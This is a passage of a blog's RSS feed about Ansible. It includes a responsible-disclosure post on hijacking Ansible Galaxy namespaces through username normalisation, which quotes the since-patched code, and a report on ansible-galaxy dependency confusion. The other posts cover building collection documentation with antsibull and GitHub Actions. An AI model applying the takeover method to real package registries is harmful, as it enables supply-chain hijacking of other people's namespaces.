&lt;/span&gt;&lt;span class="hll"&gt;&lt;span class="go"&gt;Collection 'evgeni.test2' obtained from server explicit_requirement_evgeni.test2 https://galaxy.ansible.com/api/&lt;/span&gt;
&lt;/span&gt;&lt;span class="go"&gt;Opened /home/evgeni/.ansible/galaxy_token&lt;/span&gt;
&lt;span class="hll"&gt;&lt;span class="go"&gt;Processing requirement collection 'evgeni.test1' - as dependency of evgeni.test2&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;&lt;span class="go"&gt;Collection 'evgeni.test1' obtained from server test_galaxy https://galaxy-dev.ansible.com/api&lt;/span&gt;
&lt;/span&gt;&lt;span class="go"&gt;Starting collection install process&lt;/span&gt;
&lt;span class="go"&gt;Installing 'evgeni.test2:1.0.0' to '/home/evgeni/.ansible/collections/ansible_collections/evgeni/test2'&lt;/span&gt;
&lt;span class="go"&gt;Downloading https://galaxy.ansible.com/download/evgeni-test2-1.0.0.tar.gz to /home/evgeni/.ansible/tmp/ansible-local-133/tmp9uqyjgki&lt;/span&gt;
&lt;span class="go"&gt;Installing 'evgeni.test1:2.0.0' to '/home/evgeni/.ansible/collections/ansible_collections/evgeni/test1'&lt;/span&gt;
&lt;span class="go"&gt;Downloading https://galaxy-dev.ansible.com/download/evgeni-test1-2.0.0.tar.gz to /home/evgeni/.ansible/tmp/ansible-local-133/tmp9uqyjgki&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see, &lt;code&gt;evgeni.test1&lt;/code&gt; is fetched from &lt;code&gt;galaxy-dev.ansible.com&lt;/code&gt;, instead of &lt;code&gt;galaxy.ansible.com&lt;/code&gt;. Now, if those servers instead would be Galaxy and Automation Hub, and somebody managed to snag the &lt;code&gt;redhat&lt;/code&gt; namespace on Galaxy, I would be now getting the wrong stuff… Another problematic setup would be with Galaxy and on-prem Ansible Automation Platform, as you can have &lt;em&gt;any&lt;/em&gt; namespace on the later and these most certainly can clash with namespaces on public Galaxy.&lt;/p&gt;
&lt;p&gt;I have reported this behavior to Ansible Security on 2021-08-26, giving a 90 days disclosure deadline, which expired on 2021-11-24.&lt;/p&gt;
&lt;p&gt;So far, the response was that this is working as designed, to allow cross-source dependencies (e.g. a private collection referring to one on Galaxy) and there is &lt;a href="https://github.com/ansible/ansible/issues/76402"&gt;an issue to update the docs to match the code&lt;/a&gt;. If users want to explicitly pin sources, they are supposed to name all dependencies and their sources in &lt;code&gt;requirements.yml&lt;/code&gt;. Alternatively they obviously can configure only one source in the configuration and always mirror all dependencies.&lt;/p&gt;
&lt;p&gt;I am not happy with this and I think this is terrible UX, explicitly inviting people to make mistakes.&lt;/p&gt;</description><category>ansible</category><category>english</category><category>linux</category><category>planet-debian</category><category>security</category><category>software</category><guid>https://www.die-welt.net/2021/12/dependency-confusion-in-the-ansible-galaxy-cli/</guid><pubDate>Fri, 03 Dec 2021 08:00:00 GMT</pubDate></item><item><title>Getting access to somebody else's Ansible Galaxy namespace</title><link>https://www.die-welt.net/2021/11/getting-access-to-somebody-elses-ansible-galaxy-namespace/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;TL;DR: adding features after the fact is hard, normalizing names is hard, it's patched, carry on.&lt;/p&gt;
&lt;p&gt;I promise, the longer version is more interesting and fun to read!&lt;/p&gt;
&lt;p&gt;Recently, I was poking around &lt;a href="https://galaxy.ansible.com"&gt;Ansible Galaxy&lt;/a&gt; and almost accidentally got access to someone else's namespace. I was actually looking for something completely different, but accidental finds are the best ones!&lt;/p&gt;
&lt;p&gt;If you're asking yourself: "what the heck is he talking about?!", let's slow down for a moment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ansible.com"&gt;Ansible&lt;/a&gt; is a great automation engine built around the concept of modules that do things (mostly written in Python) and playbooks (mostly written in YAML) that tell which things to do&lt;/li&gt;
&lt;li&gt;&lt;a href="https://galaxy.ansible.com"&gt;Ansible Galaxy&lt;/a&gt; is a place where people can share their playbooks and modules for others to reuse&lt;/li&gt;
&lt;li&gt;&lt;a href="https://galaxy.ansible.com/docs/contributing/namespaces.html"&gt;Galaxy Namespaces&lt;/a&gt; are a way to allow users to distinguish who published what and reduce name clashes to a minimum&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That means that if I ever want to share how to automate installing &lt;code&gt;vim&lt;/code&gt;, I can publish &lt;code&gt;evgeni.vim&lt;/code&gt; on Galaxy and other people can download that and use it. And if my evil twin wants their &lt;code&gt;vim&lt;/code&gt; recipe published, it will end up being called &lt;code&gt;evilme.vim&lt;/code&gt;. Thus while both recipes are called &lt;code&gt;vim&lt;/code&gt; they can coexist, can be downloaded to the same machine, and used independently.&lt;/p&gt;
&lt;p&gt;How do you get a namespace? It's automatically created for you when you login for the first time. After that you can manage it, you can upload content, &lt;a href="https://galaxy.ansible.com/docs/contributing/namespaces.html#adding-administrators-to-a-namespace"&gt;allow others to upload content and other things&lt;/a&gt;. You can also &lt;a href="https://galaxy.ansible.com/docs/contributing/namespaces.html#requesting-additional-namespaces"&gt;request additional namespaces&lt;/a&gt;, this is useful if you want one for an Organization or similar entities, which don't have a login for Galaxy.&lt;/p&gt;
&lt;p&gt;Apropos login, Galaxy uses GitHub for authentication, so you don't have to store yet another password, just smash that octocat!&lt;/p&gt;
&lt;p&gt;Did anyone actually click on those links above? If you did (you didn't, right?), you might have noticed another section in that document: &lt;a href="https://galaxy.ansible.com/docs/contributing/namespaces.html#namespace-limitations"&gt;Namespace Limitations&lt;/a&gt;. That says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Namespace names in Galaxy are limited to lowercase word characters (i.e., a-z, 0-9) and ‘_’, must have a minimum length of 2 characters, and cannot start with an ‘_’. No other characters are allowed, including ‘.’, ‘-‘, and space.
The first time you log into Galaxy, the server will create a Namespace for you, if one does not already exist, by converting your username to lowercase, and replacing any ‘-‘ characters with ‘_’.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For my login &lt;code&gt;evgeni&lt;/code&gt; this is pretty boring, as the generated namespace is also &lt;code&gt;evgeni&lt;/code&gt;. But for the GitHub user &lt;code&gt;Evil-Pwnwil-666&lt;/code&gt; it will become &lt;code&gt;evil_pwnwil_666&lt;/code&gt;. This can be a bit confusing.&lt;/p&gt;
&lt;p&gt;Another confusing thing is that Galaxy supports two types of content: &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html"&gt;roles&lt;/a&gt; and &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/collections_using.html"&gt;collections&lt;/a&gt;, but namespaces are only for collections! So it is &lt;code&gt;Evil-Pwnwil-666.vim&lt;/code&gt; if it's a role, but &lt;code&gt;evil_pwnwil_666.vim&lt;/code&gt; if it's a collection.&lt;/p&gt;
&lt;p&gt;I think part of this split is because collections were added much later and have a much more well thought design of both the artifact itself and its delivery mechanisms.&lt;/p&gt;
&lt;p&gt;This is by the way very important for us! Due to the fact that collections (and namespaces!) were added later, there must be code that ensures that users who were created &lt;em&gt;before&lt;/em&gt; also get a namespace.&lt;/p&gt;
&lt;p&gt;Galaxy does this (and I would have done it the same way) by hooking into the login process, and after the user is logged in it checks if a Namespace exists and if not it creates one and sets proper permissions.&lt;/p&gt;
&lt;p&gt;And this is also exactly where the issue was!&lt;/p&gt;
&lt;p&gt;The old code looked like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;    &lt;span class="c1"&gt;# Create lowercase namespace if case insensitive search does not find match&lt;/span&gt;
    &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Namespace&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;name__iexact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sanitized_username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Namespace&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;ns_defaults&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owners&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;See how &lt;code&gt;namespace.owners.add&lt;/code&gt; is &lt;em&gt;always&lt;/em&gt; called? Even if the namespace already existed? Yepp!&lt;/p&gt;
&lt;p&gt;But how can we exploit that? Any user either already has a namespace (and owns it) or doesn't have one that could be owned. And given users are tied to GitHub accounts, there is no way to confuse Galaxy here. Now, remember how I said one could request &lt;em&gt;additional&lt;/em&gt; namespaces, for organizations and stuff? Those will have owners, but the namespace name might not correspond to an existing user!&lt;/p&gt;
&lt;p&gt;So all we need is to find an existing Galaxy namespace that is not a "default" namespace (aka a specially requested one) and get a GitHub account that (after the funny name conversion) matches the namespace name.&lt;/p&gt;
&lt;p&gt;Thankfully Galaxy has an API, so I could dump &lt;em&gt;all&lt;/em&gt; existing namespaces and their owners. Next I filtered that list to have only namespaces where the owner list doesn't contain a username that would (after conversion) match the namespace name. I found a few. And for one of them (let's call it &lt;code&gt;the_target&lt;/code&gt;), the corresponding GitHub username (&lt;code&gt;the-target&lt;/code&gt;) was available! Jackpot!&lt;/p&gt;
&lt;p&gt;I've registered a new GitHub account with that name, logged in to Galaxy and &lt;a href="https://twitter.com/zhenech/status/1380180208251252743"&gt;had access to the previously found namespace&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This felt like sufficient proof that my attack worked and I mailed my findings to the Ansible Security team. The issue was fixed in &lt;a href="https://github.com/ansible/galaxy/commit/d4f84d3400f887a26a9032687a06dd263029bde3"&gt;d4f84d3400f887a26a9032687a06dd263029bde3&lt;/a&gt; by moving the &lt;code&gt;namespace.owners.add&lt;/code&gt; call to the "new namespace" branch.&lt;/p&gt;
&lt;p&gt;And this concludes the story of how I accidentally got access to someone else's Galaxy namespace (which was revoked after the report, no worries).&lt;/p&gt;</description><category>ansible</category><category>english</category><category>linux</category><category>planet-debian</category><category>security</category><category>software</category><guid>https://www.die-welt.net/2021/11/getting-access-to-somebody-elses-ansible-galaxy-namespace/</guid><pubDate>Mon, 29 Nov 2021 08:00:00 GMT</pubDate></item><item><title>Building documentation for Ansible Collections using antsibull</title><link>https://www.die-welt.net/2020/07/building-documentation-for-ansible-collections-using-antsibull/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;In my recent post about &lt;a href="https://www.die-welt.net/2020/07/building-and-publishing-documentation-for-ansible-collections/"&gt;building and publishing documentation for Ansible Collections&lt;/a&gt;, I've mentioned that the Ansible Community is currently in the process of making their build tools available as a separate project called &lt;a href="https://github.com/ansible-community/antsibull"&gt;antsibull&lt;/a&gt; instead of keeping them in the &lt;code&gt;hacking&lt;/code&gt; directory of &lt;code&gt;ansible.git&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I've also said that I couldn't get the documentation to build with &lt;code&gt;antsibull-docs&lt;/code&gt; as it &lt;a href="https://github.com/ansible-community/antsibull/issues/55"&gt;wouldn't support collections yet&lt;/a&gt;. Thankfully, &lt;a href="https://github.com/felixfontein"&gt;Felix Fontein&lt;/a&gt;, one of the maintainers of antsibull, &lt;a href="https://github.com/ansible/community/issues/546#issuecomment-661307831"&gt;pointed out that I was wrong and later versions of antsibull actually have partial collections support&lt;/a&gt;. So I went ahead and tried it again.&lt;/p&gt;
&lt;p&gt;And what should I say? Two &lt;a href="https://github.com/ansible-community/antsibull/issues/140"&gt;bug&lt;/a&gt; &lt;a href="https://github.com/ansible-community/antsibull/issues/141"&gt;reports&lt;/a&gt; by me and four &lt;a href="https://github.com/ansible-community/antsibull/pull/142"&gt;patches&lt;/a&gt; &lt;a href="https://github.com/ansible-community/antsibull/pull/144"&gt;by&lt;/a&gt; &lt;a href="https://github.com/ansible-community/antsibull/pull/145"&gt;Felix&lt;/a&gt; &lt;a href="https://github.com/ansible-community/antsibull/pull/146"&gt;Fontain&lt;/a&gt; later I can &lt;a href="https://github.com/theforeman/foreman-ansible-modules/pull/895"&gt;use &lt;code&gt;antsibull-docs&lt;/code&gt; to generate the Foreman Ansible Modules documentation&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Let's see what's needed instead of the ugly hack in detail.&lt;/p&gt;
&lt;p&gt;We obviously don't need to clone &lt;code&gt;ansible.git&lt;/code&gt; anymore and install its requirements manually. Instead we can just install &lt;code&gt;antsibull&lt;/code&gt; (0.17.0 contains all the above patches). We also need Ansible (or &lt;code&gt;ansible-base&lt;/code&gt;) 2.10 or never, which currently only exists as a pre-release. 2.10 is the first version that has an &lt;code&gt;ansible-doc&lt;/code&gt; that can &lt;em&gt;list&lt;/em&gt; contents of a collection, which &lt;code&gt;antsibull-docs&lt;/code&gt; requires to work properly.&lt;/p&gt;
&lt;p&gt;The current implementation of collections documentation in &lt;code&gt;antsibull-docs&lt;/code&gt; requires the collection to be &lt;em&gt;installed&lt;/em&gt; as in "Ansible can find it". We had the same requirement before to find the documentation fragments and can just re-use the installation we do for various other build tasks in &lt;code&gt;build/collection&lt;/code&gt; and point at it using the &lt;code&gt;ANSIBLE_COLLECTIONS_PATHS&lt;/code&gt; environment variable or the &lt;code&gt;collections_paths&lt;/code&gt; setting in &lt;code&gt;ansible.cfg&lt;/code&gt;&lt;sup id="fnref:paths_deprecated"&gt;&lt;a class="footnote-ref" href="https://www.die-welt.net/2020/07/building-documentation-for-ansible-collections-using-antsibull/#fn:paths_deprecated"&gt;1&lt;/a&gt;&lt;/sup&gt;. After that, it's only a matter of passing &lt;code&gt;--use-current&lt;/code&gt; to make it pick up installed collections instead of trying to fetch and parse them itself.&lt;/p&gt;
&lt;p&gt;Given the main goal of &lt;code&gt;antisibull-docs collection&lt;/code&gt; is to build documentation for &lt;em&gt;multiple&lt;/em&gt; collections at once, it defaults to place the generated files into &lt;code&gt;&amp;lt;dest-dir&amp;gt;/collections/&amp;lt;namespace&amp;gt;/&amp;lt;collection&amp;gt;&lt;/code&gt;. However, we only build documentation for one collection and thus pass &lt;code&gt;--squash-hierarchy&lt;/code&gt; to avoid this longish path and make it generate documentation directly in &lt;code&gt;&amp;lt;dest-dir&amp;gt;&lt;/code&gt;. Thanks to Felix for implementing this feature for us!&lt;/p&gt;
&lt;p&gt;And that's it! We can generate our documentation with a single line now!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;antsibull-docs&lt;span class="w"&gt; &lt;/span&gt;collection&lt;span class="w"&gt; &lt;/span&gt;--use-current&lt;span class="w"&gt; &lt;/span&gt;--squash-hierarchy&lt;span class="w"&gt; &lt;/span&gt;--dest-dir&lt;span class="w"&gt; &lt;/span&gt;./build/plugin_docs&lt;span class="w"&gt; &lt;/span&gt;theforeman.foreman
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;a href="https://github.com/theforeman/foreman-ansible-modules/pull/895"&gt;PR to switch to antsibull is open for review&lt;/a&gt; and I hope to get merged in soon!&lt;/p&gt;
&lt;p&gt;Oh and you know what's cool? The &lt;a href="https://docs.ansible.com/ansible/2.10/collections/theforeman/foreman/index.html"&gt;documentation is now also available as a preview on ansible.com&lt;/a&gt;!&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:paths_deprecated"&gt;
&lt;p&gt;Yes, the path&lt;strong&gt;s&lt;/strong&gt; version of that setting is deprecated in 2.10, but as we support older Ansible versions, we still use it. &lt;a class="footnote-backref" href="https://www.die-welt.net/2020/07/building-documentation-for-ansible-collections-using-antsibull/#fnref:paths_deprecated" title="Jump back to footnote 1 in the text"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><category>ansible</category><category>english</category><category>foreman</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2020/07/building-documentation-for-ansible-collections-using-antsibull/</guid><pubDate>Fri, 24 Jul 2020 08:01:10 GMT</pubDate></item><item><title>Building and publishing documentation for Ansible Collections</title><link>https://www.die-welt.net/2020/07/building-and-publishing-documentation-for-ansible-collections/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;I had a draft of this article for about two months, but never really managed to polish and finalize it, partially due to some nasty hacks needed down the road. Thankfully, one of my wishes was heard and I had now the chance to revisit the post and try a few things out. Sadly, my wish was granted only partially and the result is still not beautiful, but read yourself ;-)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I've published a follow up post on &lt;a href="https://www.die-welt.net/2020/07/building-documentation-for-ansible-collections-using-antsibull/"&gt;building documentation for Ansible Collections using antsibull&lt;/a&gt;, as my wish was now fully granted.&lt;/p&gt;
&lt;p&gt;As part of my day job, I am maintaining the &lt;a href="https://github.com/theforeman/foreman-ansible-modules"&gt;Foreman Ansible Modules&lt;/a&gt; - a collection of modules to interact with Foreman and its plugins (most notably Katello). We've been maintaining this collection (as in set of modules) since 2017, so much longer than collections (as in Ansible Collections) existed, but the introduction of Ansible Collections allowed us to provide a much easier and supported way to distribute the modules to our users.&lt;/p&gt;
&lt;p&gt;Now users usually want two things: features and documentation. Features are easy, we already have plenty of them. But documentation was a bit cumbersome: we had documentation inside the modules, so you could read it via &lt;code&gt;ansible-doc&lt;/code&gt; on the command line if you had the collection installed, but we wanted to provide online readable and versioned documentation too - something the users are used to from the official Ansible documentation.&lt;/p&gt;
&lt;h3&gt;Building HTML from Ansible modules&lt;/h3&gt;
&lt;p&gt;Ansible modules contain &lt;a href="https://docs.ansible.com/ansible/latest/dev_guide/developing_modules_documenting.html"&gt;documentation in form of YAML blocks documenting the parameters, examples and return values&lt;/a&gt; of the module. The Ansible documentation site is built using &lt;a href="https://www.sphinx-doc.org/"&gt;Sphinx&lt;/a&gt; from reStructuredText. As the modules don't contain reStructuredText, Ansible &lt;del&gt;has&lt;/del&gt;had a tool to generate it from the documentation YAML: &lt;a href="https://github.com/ansible/ansible/blob/stable-2.9/hacking/build-ansible.py"&gt;&lt;code&gt;build-ansible.py document-plugins&lt;/code&gt;&lt;/a&gt;. The tool and the accompanying libraries are not part of the Ansible distribution - they just live in the &lt;code&gt;hacking&lt;/code&gt; directory. To run them we need a git checkout of Ansible and source &lt;code&gt;hacking/env-setup&lt;/code&gt; to set &lt;code&gt;PYTHONPATH&lt;/code&gt; and a few other variables correctly for Ansible to run directly from that checkout.&lt;/p&gt;
&lt;p&gt;&lt;del&gt;It would be nice if that'd be a feature of &lt;code&gt;ansible-doc&lt;/code&gt;, but while it isn't, we need to have a full Ansible git checkout to be able to continue.&lt;/del&gt;The tool has been recently split out into an own repository/distribution: &lt;a href="https://github.com/ansible-community/antsibull"&gt;&lt;code&gt;antsibull&lt;/code&gt;&lt;/a&gt;. However it was also a bit redesigned to be easier to use (good!), and my hack to abuse it to build documentation for out-of-tree modules doesn't work anymore (bad!). There is an &lt;a href="https://github.com/ansible-community/antsibull/issues/55"&gt;issue open for collections support&lt;/a&gt;, so I hope to be able to switch to &lt;code&gt;antsibull&lt;/code&gt; soon.&lt;/p&gt;
&lt;p&gt;Anyways, back to the original hack.&lt;/p&gt;
&lt;p&gt;As we're using documentation fragments, we need to tell the tool to look for these, because otherwise we'd get errors about not found fragments.
We're passing &lt;code&gt;ANSIBLE_COLLECTIONS_PATHS&lt;/code&gt; so that the tool can find the correct, namespaced documentation fragments there.
We also need to provide &lt;code&gt;--module-dir&lt;/code&gt; pointing at the actual modules we want to build documentation for.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="nv"&gt;ANSIBLEGIT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/path/to/ansible.git
&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ANSIBLEGIT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/hacking/env-setup
&lt;span class="nv"&gt;ANSIBLE_COLLECTIONS_PATHS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;../build/collections&lt;span class="w"&gt; &lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ANSIBLEGIT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/hacking/build-ansible.py&lt;span class="w"&gt; &lt;/span&gt;document-plugins&lt;span class="w"&gt; &lt;/span&gt;--module-dir&lt;span class="w"&gt; &lt;/span&gt;../plugins/modules&lt;span class="w"&gt; &lt;/span&gt;--template-dir&lt;span class="w"&gt; &lt;/span&gt;./_templates&lt;span class="w"&gt; &lt;/span&gt;--template-dir&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ANSIBLEGIT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/docs/templates&lt;span class="w"&gt; &lt;/span&gt;--type&lt;span class="w"&gt; &lt;/span&gt;rst&lt;span class="w"&gt; &lt;/span&gt;--output-dir&lt;span class="w"&gt; &lt;/span&gt;./modules/
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ideally, when &lt;code&gt;antsibull&lt;/code&gt; supports collections, this will become &lt;code&gt;antsibull-docs collection …&lt;/code&gt; without any need to have an Ansible checkout, sourcing &lt;code&gt;env-setup&lt;/code&gt; or pass tons of paths.&lt;/p&gt;
&lt;p&gt;Until then we have a &lt;a href="https://www.github.com/theforeman/foreman-ansible-modules/tree/master/docs/Makefile"&gt;&lt;code&gt;Makefile&lt;/code&gt;&lt;/a&gt; that clones Ansible, runs the above command and then calls Sphinx (which provides a nice &lt;code&gt;Makefile&lt;/code&gt; for building) to generate HTML from the reStructuredText.&lt;/p&gt;
&lt;p&gt;You can find our slightly modified templates and themes in our &lt;a href="https://github.com/theforeman/foreman-ansible-modules/tree/master/docs"&gt;git repository in the &lt;code&gt;docs&lt;/code&gt; directory&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Publishing HTML documentation for Ansible  Modules&lt;/h3&gt;
&lt;p&gt;Now that we have a way to build the documentation, let's also automate publishing, because nothing is worse than out-of-date documentation!&lt;/p&gt;
&lt;p&gt;We're using GitHub and GitHub Actions for that, but you can achieve the same with GitLab, TravisCI or Jenkins.&lt;/p&gt;
&lt;p&gt;First, we need a trigger. As we want always up-to-date documentation for the main branch where all the development happens and also documentation for all stable releases that are tagged (we use &lt;code&gt;vX.Y.Z&lt;/code&gt; for the tags), we can do something like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="nt"&gt;on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;push&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;v[0-9]+.[0-9]+.[0-9]+&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;branches&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;master&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now that we have a trigger, we define the job steps that get executed:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Check out the code&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;actions/checkout@v2&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Set up Python&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;actions/setup-python@v2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;python-version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3.7"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Install dependencies&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;make doc-setup&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Build docs&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;make doc&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At this point we will have the docs built by &lt;code&gt;make doc&lt;/code&gt; in the &lt;code&gt;docs/_build/html&lt;/code&gt; directory, but not published anywhere yet.&lt;/p&gt;
&lt;p&gt;As we're using GitHub anyways, we can also use GitHub Pages to host the result.&lt;/p&gt;
